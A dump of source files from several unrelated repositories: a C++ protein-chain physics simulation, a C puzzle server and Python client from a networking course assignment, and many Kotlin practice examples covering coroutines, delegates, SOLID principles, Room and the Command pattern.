// cout << "C" << i << ":\t"<< cx << "\t" << cy << "\t" << cz << "\t" << dist << endl;
fx += hx + ex - cx;
fy += hy + ey - cy;
fz += hz + ez - cz;
}
}
// update velocities
nodes[8*i + 3] += fx;
nodes[8*i + 4] += fy;
nodes[8*i + 5] += fz;
}
// Spring Tension
for (int i=0; i < n-1; ++i)
{
int j = i + 1;
float x1 = nodes[8*i + 0];
float y1 = nodes[8*i + 1];
float z1 = nodes[8*i + 2];
float x2 = nodes[8*j + 0];
float y2 = nodes[8*j + 1];
float z2 = nodes[8*j + 2];
float dx = x2-x1;
float dy = y2-y1;
float dz = z2-z1;
float dist = sqrt(dx*dx + dy*dy + dz*dz);
nodes[8*i + 3] += k*(dist-1.0) * dx/dist;
nodes[8*i + 4] += k*(dist-1.0) * dy/dist;
nodes[8*i + 5] += k*(dist-1.0) * dz/dist;
nodes[8*j + 3] -= k*(dist-1.0) * dx/dist;
nodes[8*j + 4] -= k*(dist-1.0) * dy/dist;
nodes[8*j + 5] -= k*(dist-1.0) * dz/dist;
//if (dist < 0.9 || dist > 1.25)
// cout << dist << endl;
}
for (int i=0; i < n; ++i)
{
// damping
nodes[8*i + 3] *= 0.9995;
nodes[8*i + 4] *= 0.9995;
nodes[8*i + 5] *= 0.9995;
// update positions
nodes[8*i + 0] += 0.1*nodes[8*i + 3];
nodes[8*i + 1] += 0.1*nodes[8*i + 4];
nodes[8*i + 2] += 0.1*nodes[8*i + 5];
hist->push_back(nodes[8*i + 0]);
hist->push_back(nodes[8*i + 1]);
hist->push_back(nodes[8*i + 2]);
}
}
int main(int argc, char *argv[])
{
// flags
for (int i=0; i < argc; ++i)
{
if (strcmp(argv[i],"-m") == 0)
{
compMode = 1;
for (int j=i+1; j < argc; ++j)
{
argv[j-1] = argv[j];
}
i--;
argc--;
}
if (strcmp(argv[i],"-g") == 0)
{
compMode = 2;
for (int j=i+1; j < argc; ++j)
{
argv[j-1] = argv[j];
}
i--;
argc--;
}
}
// args
if (argc != 3 && argc != 4)
{
cerr << "Usage: sim infile outfile [num_frames]\n";
return 1;
}
//Initialize
int num_frames = 6000;
if (argc == 4) num_frames = stoi(argv[3]);
ifstream infile(argv[1]);
if (!infile.is_open())
{
cerr << "could not open file " << argv[1] << endl;
return 1;
}
string line;
getline(infile, line);
int nAminos = stoi(line);
cout << nAminos << endl;
float* aminos = new float[nAminos*8];
for (int i=0; i < nAminos; ++i)
{
aminos[8*i + 0] = nAminos/2.0 - i; // x coordinate
aminos[8*i + 1] = 0.0; // y coordinate
aminos[8*i + 2] = 0.0; // z coordinate
aminos[8*i + 3] = 0.0; // x velocity
aminos[8*i + 4] = 0.0; // y velocity
aminos[8*i + 5] = 0.0; // z velocity
getline(infile, line);
aminos[8*i + 6] = stof(line); // hydrophobicity
getline(infile, line);
aminos[8*i + 7] = stof(line); // electrostatic charge
}
infile.close();
aminos[1] = 0.1;
aminos[5] = 0.01;
//aminos[nAminos*8-7] = -0.1;
//aminos[nAminos*8-3] = -0.01;
vector<float> history;
int frames = 0;
////////Main Loop////////
while (frames < num_frames)
{
physics(nAminos, aminos, &history);
frames += 1;
}
// write to file
ofstream outfile(argv[2], ofstream::binary);
if (!outfile.is_open())
cerr << "could not open file: " << argv[2] << endl;
else
{
float aminoList[2*nAminos];
for (int i=0; i < nAminos; ++i)
{
aminoList[2*i] = aminos[8*i + 6];
aminoList[2*i+1] = aminos[8*i + 7];
}
outfile.write((char*)&nAminos, sizeof(int));
outfile.write((char*)&frames, sizeof(int));
outfile.write((char*)aminoList, 2*nAminos*sizeof(float));
outfile.write((char*)history.data(), 3*frames*nAminos*sizeof(float));
outfile.close();
}
//cout << "Shutting Down\n";
delete[] aminos;
return 0;
}
| e9b0bda44927c750033331bd30e67a8fb8d37d96 | [
"Markdown",
"Python",
"Makefile",
"C++"
] | 5 | Makefile | jchan1e/proteinsim | 4200036f878856743010dfdb4f8bf3e4202a831d | 7bb44d02c91055cd73d45452a49be6002981f39b |
refs/heads/master | <file_sep>#ifndef _COMMON_H_
#define _COMMON_H_
#define SERVER_HOSTNAME "poleposition.ccs.neu.edu" /* the default server hostname */
#define MAGIC_STRING "cs5700spring2013"
#define SERVER_PORT 27993 /* the default server port */
#define MAX_STR_SIZE 255 /* maximum length of any messages */
#endif
<file_sep>#!/usr/bin/env python
import sys, socket, math
magic_string = "cs5700spring2013"
hello_msg = "%s HELLO %s\n"
solution_string = "%s %i\n"
hostname = sys.argv[1]
port = int(sys.argv[2])
neu = sys.argv[3]
def send_string(sock, string):
sent = 0
while sent < len(string):
sent = sock.send(string[sent:])
def solve_math_problems(sock):
rounds = 0
while True:
msg = ''
while len(msg) == 0 or msg[-1] != '\n':
msg += sock.recv(255)
if msg.find('BYE') != -1:
print "Received BYE message after", rounds, "math problems"
return msg
elif msg.startswith('cs5700spring2013 STATUS '):
elem = msg.split()
num1 = int(elem[2])
op = elem[3]
num2 = int(elem[4])
if op == '+': solution = num1 + num2
elif op == '-': solution = num1 - num2
elif op == '*': solution = num1 * num2
elif op == '/': solution = num1 / num2
else:
print "Unknown math operation:", op
sys.exit()
send_string(sock, solution_string % (magic_string, solution))
else:
print "Unknown message from server:", msg
sys.exit()
rounds += 1
try:
sock = socket.create_connection((hostname, port))
except:
print "Unable to connect to %s:%i" % (hostname, port)
sys.exit()
send_string(sock, hello_msg % (magic_string, neu))
final_msg = solve_math_problems(sock)
print "Final message from server:", final_msg,
print "Secret key:", final_msg.split()[1]
<file_sep>EVALUATOR
This is a C implementation of server program, to which multiple clients can connect and server does tests on the client program and gives out a secret key. This secret key will be the base of evaluator (Professor) to give out grades to the student client implementation.
Creating server (compiled binary)
> gcc -o server server.c -lm
Protocol for client to interact with server
- 1st message from client cs5700spring2013 HELLO <huskyID>
eg: "cs5700spring2013 HELLO <EMAIL>"
server's response: "cs5700spring2013 STATUS 0 - 235 <IP>:<port>"
- 2nd message onwards.. cs5700spring2013 <solution to math puzzle>
eg: "cs5700spring2013 -235"
server's response: "cs5700spring2013 STATUS 999 * 235 <IP>:<port>"
.
.
.
- Finally Server sends a BYE message which has secret code (fixed to be 20
characters) and terminates the socket.
server's response: "cs5700spring2013 12345678901234567890 BYE"
Details of server
The server is rebuilt to be SELECT-based from the previously multi-process
version. Server is capable of giving random math puzzle revolving
around Addition, Subtraction, Multiplication & Division to the client.
These puzzles make sure the client program is able to make connection
properly and obey to commands given by the server.
The following are the peculiarities/qualities of the server:
- Server ends connection with the client on wrong solution to puzzle.
- Total number of math puzzle rounds will be between 100 to 999
(randomly picked).
- In case of division, the resulting number is truncated to integer
value (floor function).
- In case of division, 2nd random number will never be zero.
- In case of Subtraction, Negative integer results are valid.
- File name of file containing secret codes is set to be "database"
(format is as you specified in specification email) .
- The garbage collection happens every 60 seconds, the server looks for
the sockets which had not been active for more than 30 seconds and
terminates the connection.
<file_sep>#include <stdio.h>
#include <string.h> /* for using strtok, strcmp, etc */
#include <unistd.h>
#include <sys/types.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <stdlib.h> /* for using atoi */
#include <pthread.h>
#include <netdb.h>
#include <time.h>
#include <ctype.h>
#include <fcntl.h>
#include <math.h>
#include "common.h"
fd_set readfds;
struct client *root;
struct sockaddr_in cli;
char client_addr[100];
int listening_sd, fdMax = 0;
char secret_code[25];
int clientFd[10];
struct client {
int sd; //socket descriptor
int rand1;
int rand2;
int operator;
int roundNumber;
struct sockaddr_in cli; //char client_addr[50];
char studentID[50];
int rounds;
time_t lastActive;
struct client *next;
};
/*
* This function is called when a system call fails.
* It displays a message about the error on stderr and then aborts the program.
* The perror man page gives more information.
*/
void error(char *msg)
{
perror(msg);
exit(1);
}
void updateCode(struct client *conductor)
{
char studentID[50];
char line[80];
FILE *fp;
if( (fp = fopen("./database", "r+")) == NULL)
{
printf("No such file\n");
exit(1);
}
if (fp == NULL)
{
printf("Error Reading File\n");
}
while(fgets(line, 80, fp) != NULL) //limiting read to 80 chars
{
sscanf (line,"%s %s",secret_code,studentID);
if(strcmp(studentID, conductor->studentID)==0) {
return;
}
}
strcpy(secret_code,"12345678901234567890");
return; //default code, not a valid Husky ID
}
char getOperator(int op)
{
switch (op) {
case 0:
return '+';
case 1:
return '-';
case 2:
return '*';
case 3:
return '/';
//any execptions
default:
return '+';
}
}
long int getSolution(struct client *conductor)
{
double x;
switch (conductor->operator) {
case 0:
return conductor->rand1 + conductor->rand2;
case 1:
return conductor->rand1 - conductor->rand2;
case 2:
return conductor->rand1 * conductor->rand2;
case 3:
return conductor->rand1 / conductor->rand2; //during return int conversion truncates decimal part
//any execptions
default:
return conductor->rand1 + conductor->rand2;
}
}
void generateRandom(struct client *conductor)
{
conductor->rand1 = atoi(strtok(inet_ntoa(conductor->cli.sin_addr), "."));
conductor->rand1 += atoi(strtok(NULL, "."));
conductor->rand1 += atoi(strtok(NULL, "."));
conductor->rand1 += atoi(strtok(NULL, "."));
conductor->rand1 += (conductor->rand1*13*conductor->roundNumber) % 1000;
conductor->rand1 *= (int)cli.sin_port;
conductor->rand1 %= 1000;
conductor->rand2 = (conductor->rand1 ^ (conductor->rand1 * 3223 * conductor->roundNumber)) % 1000;
conductor->operator = rand() % 4; //for oprator shuffling, not actually used yet
if(conductor->operator == 3 && conductor->rand2 == 0)
conductor->rand2 += 1;
}
void newClient(struct sockaddr_in cli_struct, int sock_des)
{
struct client *conductor;
conductor = root;
if ( conductor != NULL ) {
while ( conductor->next != NULL)
{
conductor = conductor->next;
}
}
/* Creates a client at the end of the list */
conductor->next = (struct client *)malloc( sizeof(struct client) );
conductor = conductor->next;
if ( conductor == NULL )
{
error( "Out of memory" );
}
/* initialize the new memory */
conductor->next = NULL;
conductor->sd = sock_des;
conductor->rand1 = 0;
conductor->rand2 = 0;
conductor->operator = 0;
conductor->roundNumber = 1;
conductor->cli = cli_struct;
conductor->rounds = 0;
conductor->lastActive = time (NULL);
memset(&conductor->studentID, 0, 50); //student has not yet provided his identity `
return;
}
void delClient(int sd)
{
struct client *conductor, *prev;
prev = NULL;
conductor = root;
while ( conductor != NULL)
{
if(conductor->sd == sd) {
prev->next = conductor->next;
//printf("Connection to a client closed! \n");
fflush(stdout);
FD_CLR(sd,&readfds);
free(conductor);
close(sd);
break;
}
prev = conductor;
conductor = conductor->next;
}
return;
}
int serve_client(struct client *conductor, char *client_addr)
{
char client_msg1[MAX_STR_SIZE] = "";
char client_msg2[MAX_STR_SIZE] = "";
char server_msg1[MAX_STR_SIZE] = "";
char server_msg2[MAX_STR_SIZE] = "";
char magic_str[] = MAGIC_STRING;
char delims[] = " \r\n"; /* delimiters, '\r' is necessary if client is using telnet */
char eol_delims[] = "\r\n"; /* delimiters, '\r' is necessary if client is using telnet */
char *token = NULL;
int readbytes;
char *name = NULL;
char rand_num_str[100];
char rand_num_str2[100];
char rand_num_str_total[100];
if(conductor->roundNumber == 1)
{
/* first message, e.g. "cs5700spring2013 HELLO cs417002 Kan-Leung" */
readbytes = read(conductor->sd, client_msg1, MAX_STR_SIZE);
if (readbytes==-1) return -1;
token = strtok(client_msg1, delims);
if (token==NULL || strcmp(token, magic_str)!=0) return -1;
token = strtok(NULL, delims);
if (token==NULL || strcmp(token, "HELLO")!=0) return -1;
token = strtok(NULL, delims);
if (token==NULL) return -1;
name = token;
sprintf(conductor->studentID, "%s", name); //store email ID
if (strtok(NULL, delims)!=NULL) return -1;
generateRandom(conductor);
conductor->rounds = 100 + conductor->rand1 % 900; //fix total rounds for once
sprintf(rand_num_str, "%d", conductor->rand1);
sprintf(rand_num_str2, "%d", conductor->rand2);
sprintf(server_msg1,"%s STATUS %s %c %s %s\n", magic_str, rand_num_str, getOperator(conductor->operator), rand_num_str2, client_addr);
write(conductor->sd, server_msg1, strlen(server_msg1));
conductor->roundNumber++;
conductor->lastActive = time (NULL);
return 0;
}
if (conductor->roundNumber > 1 && conductor->roundNumber <= conductor->rounds)
{
/* second message onwards, e.g. "cs5700spring2013 12345" */
sprintf(rand_num_str_total, "%ld", getSolution(conductor));
readbytes = read(conductor->sd, client_msg2, MAX_STR_SIZE);
if (readbytes==-1) return -1;
token = strtok(client_msg2, delims);
if (token==NULL || strcmp(token, magic_str)!=0) return -1;
// BYE is now initiated by server
//token = strtok(NULL, delims);
//if (token==NULL || strcmp(token, "BYE")!=0) return -1;
token = strtok(NULL, delims);
if (token==NULL || strcmp(token, rand_num_str_total)!=0) return -1;
generateRandom(conductor);
sprintf(rand_num_str, "%d", conductor->rand1);
sprintf(rand_num_str2, "%d", conductor->rand2);
sprintf(server_msg1,"%s STATUS %s %c %s %s\n", magic_str, rand_num_str, getOperator(conductor->operator), rand_num_str2, client_addr);
write(conductor->sd, server_msg1, strlen(server_msg1));
conductor->roundNumber++;
conductor->lastActive = time (NULL);
return 0;
}
sprintf(rand_num_str_total, "%ld", getSolution(conductor));
readbytes = read(conductor->sd, client_msg2, MAX_STR_SIZE);
//verify, Give out the secret code & say BYE.
if (readbytes==-1) return -1;
token = strtok(client_msg2, delims);
if (token==NULL || strcmp(token, magic_str)!=0) return -1;
token = strtok(NULL, delims);
if (token==NULL || strcmp(token, rand_num_str_total)!=0) return -1;
updateCode(conductor);
sprintf(server_msg2, "%s %s BYE\n", magic_str, secret_code);
write(conductor->sd, server_msg2, strlen(server_msg2));
delClient(conductor->sd);
return 0;
}
void removeDeadSocket()
{
struct client *conductor;
conductor = root->next;
while ( conductor != NULL)
{
if ((long int)time(0) - (long int)conductor->lastActive > 30)
delClient(conductor->sd);
conductor = conductor->next;
}
}
void serveRequest(struct client *conductor)
{
if(conductor->sd == listening_sd)
{
int sin_size = sizeof(struct sockaddr_in);
int client_sock = accept(listening_sd, (struct sockaddr *)&cli, &sin_size);
if (client_sock == -1)
error("accept");
newClient(cli, client_sock);
FD_SET(client_sock,&readfds);
if(client_sock > fdMax)
fdMax = client_sock;
sprintf(client_addr, "%s:%d", inet_ntoa(cli.sin_addr), ntohs(cli.sin_port));
printf("\nconnected to: %s", client_addr);
fflush(stdout);
return;
}
fflush(stdout);
sprintf(client_addr, "%s:%d", inet_ntoa(conductor->cli.sin_addr), ntohs(conductor->cli.sin_port));
if (serve_client(conductor, client_addr) == -1)
{
printf("\n**Error** from %s", client_addr);
fflush(stdout);
delClient(conductor->sd);
}
return;
}
int main(int argc, char **argv)
{
srand(time(0));
struct sockaddr_in sin;
int ret_val;
struct timeval timeout; /* Timeout for select */
int selectResponse;
FD_ZERO(&readfds);
/* Verify command-line arguments */
//struct hostent *h = (argc > 1) ? gethostbyname(argv[1]) : gethostbyname(SERVER_HOSTNAME);
//if (h == 0) error("gethostbyname");
int port = (argc == 3)? (short)atoi(argv[2]) : SERVER_PORT;
/* Allocate a socket (type SOCK_STREAM for TCP) */
listening_sd = socket(AF_INET, SOCK_STREAM, 0);
if (listening_sd == -1) error("socket");
int tr=1;
// kill "Address already in use" error message
if (setsockopt(listening_sd,SOL_SOCKET,SO_REUSEADDR,&tr,sizeof(int)) == -1) {
perror("setsockopt");
exit(1);
}
FD_SET(listening_sd,&readfds);
if(listening_sd > fdMax)
fdMax = listening_sd;
/* Fill in '<struct sockaddr_in sin>' */
memset((char *)&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = INADDR_ANY;
sin.sin_port = htons(port);
/* Bind to an address */
ret_val = bind(listening_sd, (struct sockaddr *)&sin, sizeof(sin));
if (ret_val == -1) error("bind");
/* listen */
ret_val = listen(listening_sd, 10);
if (ret_val == -1) error("listen");
root = (struct client *)malloc( sizeof(struct client) );
root->next = NULL;
root->sd = listening_sd;
// remaining values in struct are not initialised or used, this serves as
// head of link list
timeout.tv_sec = 60; //1 minute
timeout.tv_usec = 0;
for(;;)
{
struct client *conductor;
conductor = root;
//Clearing & rebuilding the 'readfds' is a hack to get select working properly.
FD_ZERO(&readfds);
while (conductor != NULL)
{
FD_SET(conductor->sd,&readfds);
conductor = conductor->next;
}
fflush(stdout);
selectResponse = select(fdMax+1,&readfds,NULL,NULL,&timeout);
if(selectResponse == 0) {
//Just to say Server is alive
removeDeadSocket();
timeout.tv_sec = 60;
printf(".");
continue;
}
conductor = root;
while (conductor != NULL)
{
if (FD_ISSET(conductor->sd,&readfds)){
serveRequest(conductor);
break;
}
conductor = conductor->next;
}
}
return 0;
}
| f12adc495714dc4c7172c8d5f2987e1827ab6d26 | [
"Markdown",
"C",
"Python"
] | 4 | C | ivatsa/Evaluator | 32ce54f970547f1383d17abae16331300a7151d3 | 267a2e507d083223b5e30e1f79d7db8c23c44609 |
refs/heads/master | <repo_name>Dishant624/KotlinPractices<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Class/GetterSetter.kt
package com.dishant.kotlinpractices.coreKotlin.Class
class Company {
var name: String = ""
get() = "company name : $field" // getter
set(value) {
field = value
} // setter
val address: String = "Ahmadabad"
get() = field // getter
// set(value) { field = value } //val property cannot have setter method
var type = "IT Company"
get() {
return "company type : $field"
}
private set
val isEmpty: Boolean
get() = this.name.isEmpty()
val isEmpty2 get() = this.name.isEmpty() // has type Boolean
fun changeCompanyType(type: String) {
this.type = type
}
}
fun main() {
val c = Company()
c.name = "livebird"
val companyName = c.name
print(companyName)
println()
val companyAddress = c.address
println(companyAddress)
c.changeCompanyType("IT software")
println(c.type)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines1.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlin.concurrent.thread
fun main(){
println("Main program starts ${Thread.currentThread().name}")
thread {
println("fake work start ${Thread.currentThread().name}")
Thread.sleep(1000)
println("fake work end ${Thread.currentThread().name}")
}
println("Main program Ends ${Thread.currentThread().name}")
}
//note : when using thread application wait to finish other background thread
// execution
//output
/* Main program starts main
Main program Ends main
fake work start Thread-0
fake work end Thread-0
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/delegate/DelegateProperty.kt
package com.dishant.kotlinpractices.coreKotlin.delegate
import android.view.autofill.AutofillValue
import kotlin.properties.Delegates
import kotlin.reflect.KProperty
fun main(){
val example = Example()
println(example.someName)
// println(example.name)
example.mutable = "Data is fixed"
print(example.mutable)
}
class Example{
val someName by NameDelegate()
// throw exception while value is null
var name : String by Delegates.notNull()
var mutable by SimpleDelegate()
}
class NameDelegate{
operator fun getValue ( thisRef : Any? , property : KProperty<*>) : String{
val returnValue = property.name
return returnValue;
}
}
class SimpleDelegate{
var value : String = ""
operator fun getValue (thisRef : Any , property: KProperty<*>) : String{
return value
}
operator fun setValue(thisRef: Any , property: KProperty<*>,value: String){
println("you pass me $value")
this.value = value;
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/solid/example11.kt
package com.dishant.kotlinpractices.coreKotlin.solid
// single responsibility principle
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/roomDatabase/UserEntity.kt
package com.dishant.kotlinpractices.roomDatabase
import androidx.room.ColumnInfo
import androidx.room.Entity
import androidx.room.PrimaryKey
@Entity(tableName = "UserList")
data class UserEntity constructor(
@ColumnInfo(name = "FirstName")
val firstName: String,
@ColumnInfo(name = "LastName")
val lastName: String
){
@PrimaryKey(autoGenerate = true)
@ColumnInfo
var userId: Int? = null
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Target.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Color
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Size
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Visibility
abstract class Target{
var size: Size? = null
var visibility: Visibility? = null
var color: Color? = null
fun printStatus() :String{
println("size = $size visibility = $visibility")
return "size = $size visibility = $visibility color = $color"
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/Funtions/FunctionWithVarargs.kt
package com.dishant.kotlinpractices.coreKotlin.Funtions
fun main() {
printAll("Hello", "Dishant" ,"with" ,"All" ,"Strings", "Varargs")
log("Hello", "Dishant" ,"with" ,"All" ,"Strings", "Varargs")
}
fun printAll(vararg messages:String){
for (message in messages){
print("$message ")
}
}
/*
* At runtime, a vararg is just an array. To pass it along into a vararg parameter,
* use the special spread operator * that lets you pass in *entries (a vararg of String)
* instead of entries (an Array<String>).*/
fun log(vararg entries :String){
printAll(*entries)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/MainActivity.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command
import android.os.Build
import androidx.appcompat.app.AppCompatActivity
import android.os.Bundle
import android.util.Log
import android.view.View
import android.widget.Toast
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.Commands.*
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Color
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Size
import com.dishant.kotlinpractices.DesignPattern.Behavioral.Command.enums.Visibility
import com.dishant.kotlinpractices.R
import kotlinx.android.synthetic.main.activity_main3.*;
/** Advantages
* Makes our code extensible as we can add
new commands without changing existing code.
Reduces coupling the invoker and receiver of a command.*/
//DisAdvantages
//Increase in the number of classes for each individual command
class MainActivity : AppCompatActivity() {
companion object {
const val TAG = "MainActivity"
}
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_main3)
Log.d(TAG, "ok")
textView.text = "Hi Bro!"
val wizard = Wizard()
val goblinText = Goblin()
changeTextView(goblinText)
undo_btn.setOnClickListener {
if (wizard.undoLastSpell()) {
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG)
.show()
} else {
Toast.makeText(applicationContext, "undo stack is empty", Toast.LENGTH_LONG).show()
}
}
redo_btn.setOnClickListener {
if (wizard.redoLastSpell()) {
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG)
.show()
} else {
Toast.makeText(applicationContext, "redo stack is empty", Toast.LENGTH_LONG).show()
}
}
small_size_btn.setOnClickListener {
wizard.castSpell(ShrinkSpell(), goblinText)
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG).show()
}
normall_size_btn.setOnClickListener {
wizard.castSpell(ExpandSpell(), goblinText)
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG).show()
}
visible_btn.setOnClickListener {
wizard.castSpell(VisibleSpell(), goblinText)
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG).show()
}
invisible_btn.setOnClickListener {
wizard.castSpell(InvisibleSpell(), goblinText)
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG).show()
}
red_btn.setOnClickListener {
wizard.castSpell(RedColorSpell(), goblinText)
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG).show()
}
pink_btn.setOnClickListener {
wizard.castSpell(PinkColorSpell(), goblinText)
changeTextView(goblinText)
Toast.makeText(applicationContext, goblinText.printStatus(), Toast.LENGTH_LONG).show()
}
}
private fun changeTextView(goblinText: Goblin) {
if (goblinText.size == Size.NORMAL) {
textView.textSize = 20F
small_size_btn.isEnabled = true
normall_size_btn.isEnabled = false
} else {
textView.textSize = 12F
small_size_btn.isEnabled = false
normall_size_btn.isEnabled = true
}
if (goblinText.visibility == Visibility.VISIBLE) {
textView.visibility = View.VISIBLE
visible_btn.isEnabled = false
invisible_btn.isEnabled = true
} else {
textView.visibility = View.INVISIBLE
visible_btn.isEnabled = true
invisible_btn.isEnabled = false
}
if (goblinText.color == Color.Pink) {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
textView.setTextColor(resources.getColor(R.color.pink, null))
}
red_btn.isEnabled = true
pink_btn.isEnabled = false
} else {
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {
textView.setTextColor(resources.getColor(R.color.blue, null))
}
red_btn.isEnabled = false
pink_btn.isEnabled = true
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/roomDatabase/TodoDao.kt
package com.dishant.kotlinpractices.roomDatabase
import androidx.lifecycle.LiveData
import androidx.room.*
@Dao
interface UserDao {
@Query("SELECT * FROM UserList")
fun getAll(): LiveData<List<UserEntity>>
@Query("SELECT * FROM UserList WHERE firstName LIKE :title")
fun findByTitle(title: String): UserEntity
@Insert
fun insertAll(vararg todo: UserEntity)
@Delete
fun delete(todo: UserEntity)
@Update
fun updateTodo(vararg todos: UserEntity)
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/coroutines/KotlinCoroutines5.kt
package com.dishant.kotlinpractices.coreKotlin.coroutines
import kotlinx.coroutines.GlobalScope
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
fun main(){
println("Main program starts ${Thread.currentThread().name}")
GlobalScope.launch {// thread t1
println("fake work start ${Thread.currentThread().name}") // thread t1
delay(1000) // coroutine is suspended(paused) but thread t1 is free( not block)
println("fake working ... ${Thread.currentThread().name}")// execute in t1 or some other thread
delay(1000)
println("fake working... ${Thread.currentThread().name}")// execute in t1 or some other thread
delay(1000)
println("fake work end ${Thread.currentThread().name}")// execute in t1 or some other thread
}
// block the current main thread & wait for coroutine to finish
// (parctically not right way to wait)
Thread.sleep(4000)
//delay(4000) not call like this compiler error
println("Main program Ends ${Thread.currentThread().name}")
}
//note : delay is suspend function and used to pause the coroutine for some time
// suspend function is not called from outside a coroutine
//output
/*Main program starts main
fake work start DefaultDispatcher-worker-1
fake working ... DefaultDispatcher-worker-1
fake work end DefaultDispatcher-worker-2
fake work end DefaultDispatcher-worker-1
Main program Ends main
Process finished with exit code 0*/
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/SpacialClasses/SealedClassExample.kt
package com.dishant.kotlinpractices.coreKotlin.SpacialClasses
sealed class Mammal(val name:String)
class Cat(catName : String ): Mammal(catName)
class Human(humanName : String, val job :String) :Mammal(humanName)
//if we check case by sealed class than else part is not required in when expression
//but we pass open class as case else part required
fun greetMammal(mammal:Mammal): String {
return when(mammal){
is Cat -> "Hello ${mammal.name}"
is Human -> "Hello ${mammal.name} You are working as ${mammal.job}"
}
}
fun main() {
println(greetMammal(Cat("mimi")))
println(greetMammal(Human("Bob","Developer")))
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/lambda/example1.kt
package com.dishant.kotlinpractices.coreKotlin.lambda
import android.os.Build
import androidx.annotation.RequiresApi
import java.time.Duration
import java.time.Instant
object BachMark{
@RequiresApi(Build.VERSION_CODES.O)
fun realtime(body : ()->Unit) : Duration{
val start = Instant.now();
try {
body()
}finally {
val end = Instant.now()
return Duration.between(start,end)
}
}
}
fun main() {
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/coreKotlin/solid/example4.kt
package com.dishant.kotlinpractices.coreKotlin.solid
// interface segregation principle
// this principal states that once an interface becomes too fat, it need to be spilt into smaller interface so that client
// of the interface will only know about the methods that pretrain to them
interface Animal{
fun eat()
fun sleep()
fun fly()
}
class Cat : Animal{
override fun eat() {
println("eat")
}
override fun sleep() {
println("sleep")
}
override fun fly() {
TODO("Not yet implemented")
}
}
class Bird : Animal{
override fun eat() {
println("eat")
}
override fun sleep() {
println("sleep")
}
override fun fly() {
println("fly")
}
}
//solution
interface Animal1{
fun sleep()
fun eat()
}
interface FlyingAnimal1{
fun fly()
}
class Cat1 : Animal1{
override fun sleep() {
println("sleep")
}
override fun eat() {
println("eat")
}
}
class Bird1 : Animal1,FlyingAnimal1{
override fun sleep() {
println("sleep")
}
override fun eat() {
println("eat")
}
override fun fly() {
println("fly")
}
}
<file_sep>/app/src/main/java/com/dishant/kotlinpractices/App.kt
package com.dishant.kotlinpractices
import android.app.Application
import android.content.Context
import android.content.res.Resources
class App :Application(){
var context : Context ? = null
companion object{
var resource :Resources ?= null
}
override fun onCreate() {
super.onCreate()
context = applicationContext
resource = resources
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/utils/RecyclerViewDiffUtilCallBack.kt
package com.dishant.kotlinpractices.recyclerViewDemo.utils
import androidx.recyclerview.widget.DiffUtil
import com.dishant.kotlinpractices.recyclerViewDemo.RecyclerViewModel
class RecyclerViewDiffUtilCallBack(
private val oldList : List<RecyclerViewModel>,
private val newList : List<RecyclerViewModel>
) : DiffUtil.Callback() {
override fun getOldListSize(): Int {
return oldList.size
}
override fun getNewListSize(): Int {
return newList.size
}
// areContentsTheSame is Called to check whether two items have the same data.
//
// areItemsTheSame is called to check whether two objects represent the same item.
override fun areItemsTheSame(oldItemPosition: Int, newItemPosition: Int): Boolean {
return oldList[oldItemPosition].id == newList[newItemPosition].id
}
override fun areContentsTheSame(oldItemPosition: Int, newItemPosition: Int): Boolean {
return when{
oldList[oldItemPosition].id != newList[newItemPosition].id -> false
oldList[oldItemPosition].content != newList[newItemPosition].content -> false
oldList[oldItemPosition].isLiked != newList[newItemPosition].isLiked -> false
else ->true
}
}
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/DesignPattern/Behavioral/Command/Command.kt
package com.dishant.kotlinpractices.DesignPattern.Behavioral.Command
abstract class Command {
abstract fun execute(target: Target)
abstract fun undo()
abstract fun redo()
}<file_sep>/app/src/main/java/com/dishant/kotlinpractices/recyclerViewDemo/adapter/BaseAdapter.kt
package com.dishant.kotlinpractices.recyclerViewDemo.adapter
import android.annotation.SuppressLint
import androidx.recyclerview.widget.RecyclerView
